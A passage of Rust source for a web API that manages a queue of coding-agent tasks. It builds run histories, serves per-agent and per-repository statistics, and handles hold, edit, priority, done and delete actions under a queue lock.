5288fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
5289    let mut slots = Vec::new();
5290    let mut seen = Vec::new();
5291    for run_id in &task.runs {
5292        if seen.contains(&run_id) {
5293            continue;
5294        }
5295        seen.push(run_id);
5296        let state = read(run_id);
5297        let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
5298            s.passes
5299                .iter()
5300                .filter(|p| {
5301                    p.task_entry
5302                        || task
5303                            .passes
5304                            .iter()
5305                            .any(|t| t.run == *run_id && t.pass_index == p.index)
5306                })
5307                .cloned()
5308                .collect()
5309        });
5310        let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
5311        let total = legacy_count.max(mine.len());
5312        let offset = total - mine.len();
5313        for k in 0..total {
5314            // Legacy repeated entries retain their original positions. When
5315            // ids are unique, recorded pass times recover the resume order.
5316            let position = task
5317                .runs
5318                .iter()
5319                .enumerate()
5320                .filter(|(_, r)| *r == run_id)
5321                .nth(k.min(legacy_count - 1))
5322                .unwrap()
5323                .0;
5324            slots.push((
5325                run_id,
5326                state.clone(),
5327                k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
5328                position,
5329            ));
5330        }
5331    }
5332    if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
5333        slots.sort_by_key(|(_, state, pass, _)| {
5334            pass.as_ref()
5335                .map(|p| p.started_at)
5336                .or_else(|| state.as_ref().map(|s| s.created_at))
5337                .map_or((true, task.created_at), |at| (false, at))
5338        });
5339    } else {
5340        slots.sort_by_key(|(_, _, _, position)| *position);
5341    }
5342    let mut history = Vec::with_capacity(slots.len());
5343    let mut seen: Vec<&str> = Vec::new();
5344    let mut prior: Option<(&str, RunStatus)> = None;
5345    for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
5346        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
5347        let resumed = k > 0;
5348        seen.push(run_id);
5349        let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
5350        let pass = pass.as_ref();
5351        let settled = pass.and_then(|p| {
5352            task.passes
5353                .iter()
5354                .find(|t| t.run == **run_id && t.pass_index == p.index)
5355        });
5356        history.push(task_run_view(
5357            run_id,
5358            state.as_ref(),
5359            RunSlot {
5360                n: i + 1,
5361                resumed,
5362                resumed_later: slots[i + 1..]
5363                    .iter()
5364                    .position(|(id, _, _, _)| id == run_id)
5365                    .map(|off| i + off + 2),
5366                prior,
5367                last: i + 1 == slots.len(),
5368                pass,
5369                settled,
5370                pass_n: k + 1,
5371                passes_of_run: total,
5372            },
5373            task,
5374        ));
5375        if let Some(s) = &state {
5376            prior = Some((run::short_of(run_id), s.status));
5377        }
5378    }
5379    history
5380}
5381
5382/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
5383/// An earlier pass of a resumed run keeps no badge (it has no status box).
5384fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
5385    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
5386        return;
5387    }
5388    let (_, claimed, _) = run_row_inputs(ui);
5389    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5390    for h in history
5391        .iter_mut()
5392        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
5393    {
5394        let Ok(state) = read_run(&ui.runs, &h.id) else {
5395            continue;
5396        };
5397        if state.status.done() {
5398            continue;
5399        }
5400        let live = state.liveness_with(
5401            claimed.contains(&h.id),
5402            |p| probe.borrow_mut().status(p),
5403            |p| probe.borrow_mut().started_at(p),
5404        );
5405        let waiting = !ui.questions.open_for(&h.id).is_empty();
5406        let display = run_display_status(&state, waiting, live);
5407        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
5408        if matches!(word.as_str(), "stale" | "superseded")
5409            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
5410        {
5411            h.badge = Some(word);
5412        }
5413    }
5414}
5415
5416async fn task_detail(
5417    State(ui): State<Arc<Ui>>,
5418    Path(id): Path<String>,
5419) -> ApiResult<Json<TaskDetailView>> {
5420    blocking(move || {
5421        let id = resolve_task(&ui.queue, &id)?;
5422        let task = ui
5423            .queue
5424            .get(&id)
5425            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
5426        let inv = crate::blockers::Inventory::load(&ui.queue, &ui.questions);
5427        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
5428        mark_badges(&ui, &task, &mut history);
5429        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
5430        let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
5431        let origin = task.followup.as_ref().map(|fu| {
5432            followup_origin(
5433                fu,
5434                |tid| ui.queue.get(tid).ok(),
5435                |rid| read_run(&ui.runs, rid).ok(),
5436            )
5437        });
5438        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
5439        Ok(Json(TaskDetailView {
5440            max_attempts,
5441            flow,
5442            followup_origin: origin,
5443            passes_total: history.len(),
5444            runs_distinct: distinct_runs(&task.runs),
5445            history,
5446            runs_unreadable,
5447            attempts_note: ATTEMPTS_NOTE,
5448            task: TaskView::with_inventory(task, &inv),
5449        }))
5450    })
5451    .await
5452}
5453
5454/// A rate together with its denominator, so the client can tell "computed as
5455/// 0%" apart from "no data to compute it from" — both would otherwise
5456/// serialize as `0.0`. `None` means the denominator was zero.
5457#[derive(Debug, Serialize)]
5458struct RateView {
5459    pct: f64,
5460    denominator: usize,
5461}
5462
5463impl RateView {
5464    fn of(numerator: usize, denominator: usize) -> Option<Self> {
5465        (denominator > 0).then(|| Self {
5466            pct: 100.0 * numerator as f64 / denominator as f64,
5467            denominator,
5468        })
5469    }
5470}
5471
5472/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
5473/// rates, each paired with its own denominator via [`RateView`] rather than
5474/// exposing `Stats`' own percentage methods directly — see this module's
5475/// doc for why `Stats` itself is never serialized.
5476#[derive(Debug, Serialize)]
5477struct StatsTotalsView {
5478    runs: usize,
5479    merged: usize,
5480    ready: usize,
5481    blocked: usize,
5482    failed: usize,
5483    stalled: usize,
5484    verified_noop: usize,
5485    superseded: usize,
5486    in_progress: usize,
5487    completion_rate: Option<RateView>,
5488    tallied: usize,
5489    split: usize,
5490    split_rate: Option<RateView>,
5491    deliberated: usize,
5492    minds_changed: usize,
5493    converged: usize,
5494    review_rounds: usize,
5495}
5496
5497impl From<&stats::Totals> for StatsTotalsView {
5498    fn from(t: &stats::Totals) -> Self {
5499        Self {
5500            runs: t.runs,
5501            merged: t.merged,
5502            ready: t.ready,
5503            blocked: t.blocked,
5504            failed: t.failed,
5505            stalled: t.stalled,
5506            verified_noop: t.verified_noop,
5507            superseded: t.superseded,
5508            in_progress: t.in_progress,
5509            completion_rate: RateView::of(t.merged + t.ready, t.runs),
5510            tallied: t.tallied,
5511            split: t.split,
5512            split_rate: RateView::of(t.split, t.tallied),
5513            deliberated: t.deliberated,
5514            minds_changed: t.minds_changed,
5515            converged: t.converged,
5516            review_rounds: t.review_rounds,
5517        }
5518    }
5519}
5520
5521/// [`crate::stats::AgentStats`] for the wire.
5522#[derive(Debug, Serialize)]
5523struct AgentStatsView {
5524    agent: String,
5525    entered: usize,
5526    wins: usize,
5527    empty: usize,
5528    win_rate: Option<RateView>,
5529    competitive_entered: usize,
5530    competitive_wins: usize,
5531    competitive_win_rate: Option<RateView>,
5532    solo_entered: usize,
5533    solo_adopted: usize,
5534    solo_adoption_rate: Option<RateView>,
5535}
5536
5537impl From<&stats::AgentStats> for AgentStatsView {
5538    fn from(a: &stats::AgentStats) -> Self {
5539        Self {
5540            agent: a.agent.clone(),
5541            entered: a.entered,
5542            wins: a.wins,
5543            empty: a.empty,
5544            win_rate: RateView::of(a.wins, a.entered),
5545            competitive_entered: a.competitive_entered,
5546            competitive_wins: a.competitive_wins,
5547            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
5548            solo_entered: a.solo_entered,
5549            solo_adopted: a.solo_adopted,
5550            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
5551        }
5552    }
5553}
5554
5555/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
5556/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
5557/// value, `None` when `rounds` is zero.
5558#[derive(Debug, Serialize)]
5559struct ReviewerStatsView {
5560    agent: String,
5561    rounds: usize,
5562    seated: usize,
5563    submitted: usize,
5564    adopted: usize,
5565    unique: usize,
5566    timeouts: usize,
5567    adopted_per_round: Option<f64>,
5568    precision: Option<RateView>,
5569    unique_rate: Option<RateView>,
5570    timeout_rate: Option<RateView>,
5571}
5572
5573impl From<&stats::ReviewerStats> for ReviewerStatsView {
5574    fn from(r: &stats::ReviewerStats) -> Self {
5575        Self {
5576            agent: r.agent.clone(),
5577            rounds: r.rounds,
5578            seated: r.seated,
5579            submitted: r.submitted,
5580            adopted: r.adopted,
5581            unique: r.unique,
5582            timeouts: r.timeouts,
5583            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
5584            precision: RateView::of(r.adopted, r.submitted),
5585            unique_rate: RateView::of(r.unique, r.submitted),
5586            timeout_rate: RateView::of(r.timeouts, r.seated),
5587        }
5588    }
5589}
5590
5591/// [`crate::stats::AdvisorStats`] for the wire.
5592///
5593/// `reflection_rate` is approximate by construction — see
5594/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
5595/// that caveat is static text in `index.html`, not a field here.
5596#[derive(Debug, Serialize)]
5597struct AdvisorStatsView {
5598    agent: String,
5599    seated: usize,
5600    proposed: usize,
5601    absent: usize,
5602    faint: usize,
5603    strong: usize,
5604    reflection_rate: Option<RateView>,
5605}
5606
5607impl From<&stats::AdvisorStats> for AdvisorStatsView {
5608    fn from(a: &stats::AdvisorStats) -> Self {
5609        Self {
5610            agent: a.agent.clone(),
5611            seated: a.seated,
5612            proposed: a.proposed,
5613            absent: a.absent,
5614            faint: a.faint,
5615            strong: a.strong,
5616            reflection_rate: RateView::of(a.strong, a.proposed),
5617        }
5618    }
5619}
5620
5621/// [`crate::stats::E2eStats`] for the wire.
5622#[derive(Debug, Serialize)]
5623struct E2eStatsView {
5624    rounds: usize,
5625    failures: usize,
5626    sole_detections: usize,
5627    deferred: usize,
5628    sole_rate: Option<RateView>,
5629}
5630
5631impl From<&stats::E2eStats> for E2eStatsView {
5632    fn from(e: &stats::E2eStats) -> Self {
5633        Self {
5634            rounds: e.rounds,
5635            failures: e.failures,
5636            sole_detections: e.sole_detections,
5637            deferred: e.deferred,
5638            sole_rate: RateView::of(e.sole_detections, e.failures),
5639        }
5640    }
5641}
5642
5643/// [`crate::stats::ReleaseBumpStats`] for the wire.
5644///
5645/// `clean` is sent as a raw count, computed the same way
5646/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
5647/// needs_attention`) — never derived client-side from `automerge_enabled`,
5648/// which would misclassify a `merged_directly` bump (automerge rejected, but
5649/// magi merged it directly, so no human involvement) as needing attention.
5650#[derive(Debug, Serialize)]
5651struct ReleaseBumpStatsView {
5652    merged: usize,
5653    recorded: usize,
5654    pr_opened: usize,
5655    automerge_enabled: usize,
5656    merged_directly: usize,
5657    needs_attention: usize,
5658    clean: usize,
5659    coverage_rate: Option<RateView>,
5660    automerge_rate: Option<RateView>,
5661    attention_rate: Option<RateView>,
5662}
5663
5664impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
5665    fn from(b: &stats::ReleaseBumpStats) -> Self {
5666        Self {
5667            merged: b.merged,
5668            recorded: b.recorded,
5669            pr_opened: b.pr_opened,
5670            automerge_enabled: b.automerge_enabled,
5671            merged_directly: b.merged_directly,
5672            needs_attention: b.needs_attention,
5673            clean: b.clean(),
5674            coverage_rate: RateView::of(b.recorded, b.merged),
5675            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
5676            attention_rate: RateView::of(b.needs_attention, b.recorded),
5677        }
5678    }
5679}
5680
5681/// [`crate::queue::TaskCounts`] for the wire.
5682#[derive(Debug, Serialize)]
5683struct TaskCountsView {
5684    queued: usize,
5685    running: usize,
5686    done: usize,
5687    failed: usize,
5688    held: usize,
5689    blocked: usize,
5690    parked: usize,
5691}
5692
5693impl From<crate::queue::TaskCounts> for TaskCountsView {
5694    fn from(c: crate::queue::TaskCounts) -> Self {
5695        Self {
5696            queued: c.queued,
5697            running: c.running,
5698            done: c.done,
5699            failed: c.failed,
5700            held: c.held,
5701            blocked: c.blocked,
5702            parked: c.parked,
5703        }
5704    }
5705}
5706
5707/// [`crate::stats::RepoStats`] for the wire, one row per repository with
5708/// runs recorded — the summary the UI's repository selector is built from.
5709/// Carries no nested `Stats`: picking a repo means re-fetching
5710/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
5711/// aggregation rather than duplicating it.
5712#[derive(Debug, Serialize)]
5713struct RepoSummaryView {
5714    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
5715    /// against, full path and all (see [`stats_get`]'s own doc for why).
5716    repo: String,
5717    /// Display name only; never used for matching.
5718    name: String,
5719    runs: usize,
5720    completion_rate: Option<RateView>,
5721}
5722
5723impl From<&stats::RepoStats> for RepoSummaryView {
5724    fn from(r: &stats::RepoStats) -> Self {
5725        let t = &r.stats.totals;
5726        Self {
5727            repo: r.repo.to_string_lossy().into_owned(),
5728            name: r.name.clone(),
5729            runs: t.runs,
5730            completion_rate: RateView::of(t.merged + t.ready, t.runs),
5731        }
5732    }
5733}
5734
5735/// `GET /api/stats` - the whole answer. `Stats` itself carries no
5736/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
5737/// renders from them) are free to grow without that becoming a wire-contract
5738/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
5739/// data" from "computed and it really is zero" the way [`RateView`] does.
5740#[derive(Debug, Serialize)]
5741struct StatsView {
5742    totals: StatsTotalsView,
5743    /// Best win rate first, as [`stats::collect`] already sorts it.
5744    agents: Vec<AgentStatsView>,
5745    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
5746    reviewers: Vec<ReviewerStatsView>,
5747    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
5748    advisors: Vec<AdvisorStatsView>,
5749    e2e: E2eStatsView,
5750    release_bumps: ReleaseBumpStatsView,
5751    queue: TaskCountsView,
5752    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
5753    /// that field's doc. Asserted to match it in
5754    /// `stats_runs_unreadable_matches_health`.
5755    ///
5756    /// Always the whole-workload count, even when `repo` narrows every other
5757    /// field to one repository - an unreadable `run.json` carries no `repo`
5758    /// a per-repository count could attribute it to, and the queue/health
5759    /// views this mirrors never scope it either. The UI must not present it
5760    /// as if it were scoped to the selected repository.
5761    runs_unreadable: usize,
5762    /// Every repository with runs recorded, most runs first - what the UI's
5763    /// repository selector is built from. Always the full list regardless of
5764    /// `repo`, so switching repositories never needs a second request.
5765    repos: Vec<RepoSummaryView>,
5766    /// Runs per local day over the last 30 days, oldest first, always 30
5767    /// entries. Days are the *server's* local dates (the UI must not convert
5768    /// them again), cut by run creation and classified by current status.
5769    /// Narrowed by `repo` like every other run-derived field.
5770    daily: Vec<DailyStatsView>,
5771    /// The `?repo=` value this response was narrowed to, echoed back so the
5772    /// UI can confirm its selection round-tripped. `None` for the aggregate,
5773    /// all-repositories view.
5774    repo: Option<String>,
5775    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
5776    /// current config roster no longer lists them. Empty with `?all=true`, an
5777    /// unreadable config, or when nothing was retired.
5778    retired_hidden: Vec<String>,
5779}
5780
5781/// One day of [`StatsView::daily`].
5782#[derive(Debug, Serialize)]
5783struct DailyStatsView {
5784    /// `YYYY-MM-DD`, server-local.
5785    date: String,
5786    runs: usize,
5787    merged: usize,
5788    ready: usize,
5789    other: usize,
5790    /// `None` on a day with no runs, so it never reads as 0%.
5791    completion_rate: Option<RateView>,
5792}
5793
5794impl From<&stats::DayBucket> for DailyStatsView {
5795    fn from(b: &stats::DayBucket) -> Self {
5796        Self {
5797            date: b.date.to_string(),
5798            runs: b.runs,
5799            merged: b.merged,
5800            ready: b.ready,
5801            other: b.other,
5802            completion_rate: RateView::of(b.merged + b.ready, b.runs),
5803        }
5804    }
5805}
5806
5807/// How many days [`StatsView::daily`] covers.
5808const STATS_DAILY_DAYS: usize = 30;
5809
5810/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
5811/// repository. Matched by full-path equality against `RunState.repo` only
5812/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
5813/// `--repo` is, because the value here always came from this same route's
5814/// own `repos` list in an earlier response, never typed by a human. A value
5815/// matching no run is a 404, not an empty aggregate: the caller asked for a
5816/// specific, named repository, and silently returning zeroes would look
5817/// exactly like a repository that has runs but none of interest.
5818#[derive(Debug, Default, Deserialize)]
5819#[serde(default)]
5820struct StatsQuery {
5821    repo: Option<String>,
5822    /// `?all=true` keeps agents that are no longer in the roster.
5823    all: bool,
5824}
5825
5826/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
5827/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
5828/// runs when `?repo=` narrows it), the same counting logic `magi stats`
5829/// prints from. Reads every readable run on disk, exactly as
5830/// [`runs_unreadable`] does, so the two counts can never drift apart the way
5831/// a separately-maintained tally could.
5832async fn stats_get(
5833    State(ui): State<Arc<Ui>>,
5834    Query(q): Query<StatsQuery>,
5835) -> ApiResult<Json<StatsView>> {
5836    blocking(move || {
5837        let states: Vec<RunState> = run_ids(&ui.runs)
5838            .into_iter()
5839            .filter_map(|id| read_run(&ui.runs, &id).ok())
5840            .collect();
5841        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5842            .iter()
5843            .map(RepoSummaryView::from)
5844            .collect();
5845        let mut scoped: Vec<&RunState> = states.iter().collect();
5846        let mut collected = match &q.repo {
5847            Some(repo) => {
5848                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5849                if filtered.is_empty() {
5850                    return Err(ApiError::not_found(format!(
5851                        "no runs recorded against repo `{repo}`"
5852                    )));
5853                }
5854                scoped = filtered.clone();
5855                stats::collect_refs(filtered)
5856            }
5857            None => stats::collect(&states),
5858        };
5859        if !q.all {
5860            let repo = q
5861                .repo
5862                .as_deref()
5863                .map_or_else(|| ui.repo.clone(), PathBuf::from);
5864            stats::retain_current_roster(&mut collected, &repo);
5865        }
5866        let daily = stats::daily(
5867            scoped,
5868            jiff::Zoned::now().date(),
5869            &jiff::tz::TimeZone::system(),
5870            STATS_DAILY_DAYS,
5871        );
5872        let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5873        Ok(Json(StatsView {
5874            totals: StatsTotalsView::from(&collected.totals),
5875            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5876            reviewers: collected
5877                .reviewers
5878                .iter()
5879                .map(ReviewerStatsView::from)
5880                .collect(),
5881            advisors: collected
5882                .advisors
5883                .iter()
5884                .map(AdvisorStatsView::from)
5885                .collect(),
5886            e2e: E2eStatsView::from(&collected.e2e),
5887            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5888            queue: TaskCountsView::from(queue_counts),
5889            runs_unreadable: runs_unreadable(&ui.runs),
5890            repos,
5891            daily: daily.iter().map(DailyStatsView::from).collect(),
5892            repo: q.repo.clone(),
5893            retired_hidden: collected.retired_hidden.clone(),
5894        }))
5895    })
5896    .await
5897}
5898
5899/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
5900/// gives no reason - which must keep working, since not every hold has one.
5901#[derive(Debug, Default, Deserialize)]
5902#[serde(default, deny_unknown_fields)]
5903struct HoldBody {
5904    reason: Option<String>,
5905}
5906
5907async fn queue_hold(
5908    State(ui): State<Arc<Ui>>,
5909    Path(id): Path<String>,
5910    body: std::result::Result<Json<HoldBody>, JsonRejection>,
5911) -> ApiResult<Json<TaskView>> {
5912    // An absent body is the ordinary case - most holds are unexplained, and
5913    // that has to stay a one-tap action rather than a form. A body that is
5914    // present and malformed is still a bad request.
5915    let body = match body {
5916        Ok(Json(body)) => body,
5917        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
5918        Err(e) => return Err(ApiError::bad_request(e.body_text())),
5919    };
5920    let reason = body.reason.filter(|r| !r.trim().is_empty());
5921    mutate(ui, id, move |t| {
5922        t.hold_manual(reason.clone());
5923        Ok(())
5924    })
5925    .await
5926}
5927
5928async fn queue_release(
5929    State(ui): State<Arc<Ui>>,
5930    Path(id): Path<String>,
5931) -> ApiResult<Json<TaskView>> {
5932    mutate(ui, id, |t| {
5933        t.release_operator("web", None);
5934        Ok(())
5935    })
5936    .await
5937}
5938
5939#[derive(Debug, Deserialize)]
5940#[serde(deny_unknown_fields)]
5941struct AttemptLimitBody {
5942    // Required even when clearing: missing fields must not silently erase an override.
5943    attempt_limit: serde_json::Value,
5944}
5945
5946async fn queue_attempt_limit(
5947    State(ui): State<Arc<Ui>>,
5948    Path(id): Path<String>,
5949    body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
5950) -> ApiResult<Json<TaskView>> {
5951    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5952    let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
5953        .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
5954    mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
5955}
5956
5957#[derive(Debug, Deserialize)]
5958#[serde(deny_unknown_fields)]
5959struct ImplementersBody {
5960    implementers: u8,
5961}
5962
5963async fn queue_implementers(
5964    State(ui): State<Arc<Ui>>,
5965    Path(id): Path<String>,
5966    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
5967) -> ApiResult<Json<TaskView>> {
5968    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5969    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
5970}
5971
5972#[derive(Debug, Deserialize)]
5973#[serde(deny_unknown_fields)]
5974struct UrgentBody {
5975    urgent: bool,
5976}
5977
5978async fn queue_urgent(
5979    State(ui): State<Arc<Ui>>,
5980    Path(id): Path<String>,
5981    body: std::result::Result<Json<UrgentBody>, JsonRejection>,
5982) -> ApiResult<Json<TaskView>> {
5983    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5984    mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
5985}
5986
5987/// The body of `POST /api/queue/{id}/priority`.
5988#[derive(Debug, Deserialize)]
5989#[serde(deny_unknown_fields)]
5990struct PriorityBody {
5991    priority: i32,
5992}
5993
5994/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
5995///
5996/// [`Task::set_priority`] is the one place the "not while running" rule is
5997/// stated; this route only carries the body to it and lets its `Err` become
5998/// the 4xx the card shows.
5999async fn queue_priority(
6000    State(ui): State<Arc<Ui>>,
6001    Path(id): Path<String>,
6002    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
6003) -> ApiResult<Json<TaskView>> {
6004    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6005    mutate(ui, id, move |t| t.set_priority(body.priority)).await
6006}
6007
6008/// The body of `POST /api/queue/{id}/edit`.
6009#[derive(Debug, Deserialize)]
6010#[serde(deny_unknown_fields)]
6011struct EditBody {
6012    title: String,
6013    instruction: String,
6014    /// Save even though the new text names a branch, commit or pull request
6015    /// that unfinished work already owns.
6016    #[serde(default)]
6017    force: bool,
6018}
6019
6020/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
6021/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
6022/// that refusal's message is what the sheet shows back.
6023async fn queue_edit(
6024    State(ui): State<Arc<Ui>>,
6025    Path(id): Path<String>,
6026    body: std::result::Result<Json<EditBody>, JsonRejection>,
6027) -> ApiResult<Json<TaskView>> {
6028    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6029    // The judge is an agent call, so it is awaited here, outside the claim
6030    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
6031    // remembered, and the save refuses if the task moved underneath it.
6032    let mut judged: Option<(String, PathBuf)> = None;
6033    if !body.force {
6034        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
6035        let (id, text) = (id.clone(), body.instruction.clone());
6036        let (seen, hits) = blocking(move || {
6037            let id = resolve_task(&queue, &id)?;
6038            let t = queue.get(&id)?;
6039            if text == t.instruction {
6040                return Ok((None, Vec::new()));
6041            }
6042            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
6043            Ok((Some((t.instruction, t.repo)), hits))
6044        })
6045        .await?;
6046        if let Some((_, repo)) = &seen {
6047            let cfg = crate::config::Config::discover(repo, None)
6048                .ok()
6049                .map(|(c, _)| c);
6050            let screened =
6051                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
6052                    .await
6053                    .map_err(|dup| {
6054                        ApiError::conflict(dup.render(
6055                            "Nothing was saved. If it is not a duplicate, repeat the request \
6056                             with \"force\": true.",
6057                        ))
6058                    })?;
6059            if let crate::dupes::Screened::Unjudged(why) = screened {
6060                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
6061            }
6062        }
6063        judged = seen;
6064    }
6065    let force = body.force;
6066    mutate(ui, id, move |t| {
6067        if !force && body.instruction != t.instruction {
6068            match &judged {
6069                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
6070                _ => {
6071                    anyhow::bail!("the task changed while it was being checked; repeat the request")
6072                }
6073            }
6074        }
6075        t.edit(body.title.clone(), body.instruction.clone())
6076    })
6077    .await
6078}
6079
6080/// `POST /api/queue/{id}/done` - close a task as finished without deleting
6081/// it, so the phone's other way to clear a task from the backlog does not
6082/// have to cost the run history, the attribution, and `created_at` the way
6083/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
6084/// can be marked done by hand, because this is for the run the loop never
6085/// saw land - a merge done by hand, or a gate that misreported - and that can
6086/// happen from any status the task was left in.
6087async fn queue_done(
6088    State(ui): State<Arc<Ui>>,
6089    Path(id): Path<String>,
6090) -> ApiResult<Json<TaskView>> {
6091    let home = ui.home.clone();
6092    mutate(ui, id, move |t| {
6093        t.succeed();
6094        // Same as the loop's own settle path: closing a task by hand is just
6095        // as much "this task's story is over" as a daemon-driven `Merged`/
6096        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
6097        // behind must stop looking like it still needs a human. `ui.home`,
6098        // not the process-global `run::home()`: they agree in a real
6099        // process, but only `ui.home` also agrees with a test fixture's own
6100        // directory.
6101        crate::daemon::supersede_prior_runs(t, &home);
6102        Ok(())
6103    })
6104    .await
6105}
6106
6107/// `DELETE /api/queue/{id}`.
6108///
6109/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
6110/// names this task: a `running` status or an orphaned `.lock` left behind by a
6111/// killed daemon is a leftover, and treating either as authority made the
6112/// task undeletable from the phone for good. The associated runs, if any, are
6113/// kept: a run is self-contained history and not an appendage of the task.
6114async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6115    blocking(move || {
6116        let id = resolve_task(&ui.queue, &id)?;
6117        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
6118        ui.queue
6119            .remove(&id, in_flight, &ui.questions)
6120            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
6121        Ok(StatusCode::NO_CONTENT)
6122    })
6123    .await
6124}
6125
6126/// Read a task, change it, write it back, under the queue's own lock.
6127///
6128/// Taking the same claim a daemon takes is what makes hold, release,
6129/// priority, edit, and done safe to press while magi is running: without it
6130/// the daemon's next save would land on top of the operator's change and
6131/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
6132/// both do, for a running task - and that refusal becomes the 4xx the card
6133/// shows, same as any other domain rule.
6134async fn mutate(
6135    ui: Arc<Ui>,
6136    id: String,
6137    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
6138) -> ApiResult<Json<TaskView>> {
6139    blocking(move || {
6140        let id = resolve_task(&ui.queue, &id)?;
6141        // `claim` fails when the lock file already exists, which is the
6142        // conflict the UI must report: the daemon owns that task's file for
6143        // as long as it is running it, and our write would be lost under its
6144        // next save. The message names the lock either way.
6145        let _claim = ui.queue.claim(&id).map_err(|e| {
6146            ApiError::conflict(format!(
6147                "{e:#} - a daemon is running this task, so it cannot be \
6148                 changed from here yet; wait until it is released, then retry"
6149            ))
6150        })?;
6151        let mut task = ui.queue.get(&id)?;
6152        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
6153            Ok(dup) => ApiError::conflict(dup.render(
6154                "Nothing was saved. If it is not a duplicate, repeat the request with \
6155                 \"force\": true.",
6156            )),
6157            Err(e) => ApiError::bad_request_from(e),
6158        })?;
6159        ui.queue.put(&mut task)?;
6160        Ok(Json(TaskView::from(task)))
6161    })
6162    .await
6163}
6164
6165/// The change stream: one revision number per store, on connect and whenever
6166/// any of them moves.
6167///
6168/// The poll runs in one spawned task per client, which is affordable because
6169/// the work is a directory scan and a `stat` per file. It stops as soon as the
6170/// receiver is gone, so a phone that walks out of range costs nothing after
6171/// its next tick - there is no session and no cleanup to forget.
6172async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
6173    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
6174    tokio::spawn(async move {
6175        let mut ticker = tokio::time::interval(POLL);
6176        let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
6177        let mut stamps: Option<[Stamps; 3]> = None;
6178        loop {
6179            // The first tick completes immediately, which is what makes the
6180            // stream announce the current revisions on connect.
6181            ticker.tick().await;
6182            let state = Arc::clone(&ui);
6183            let revisions = tokio::task::spawn_blocking(move || {
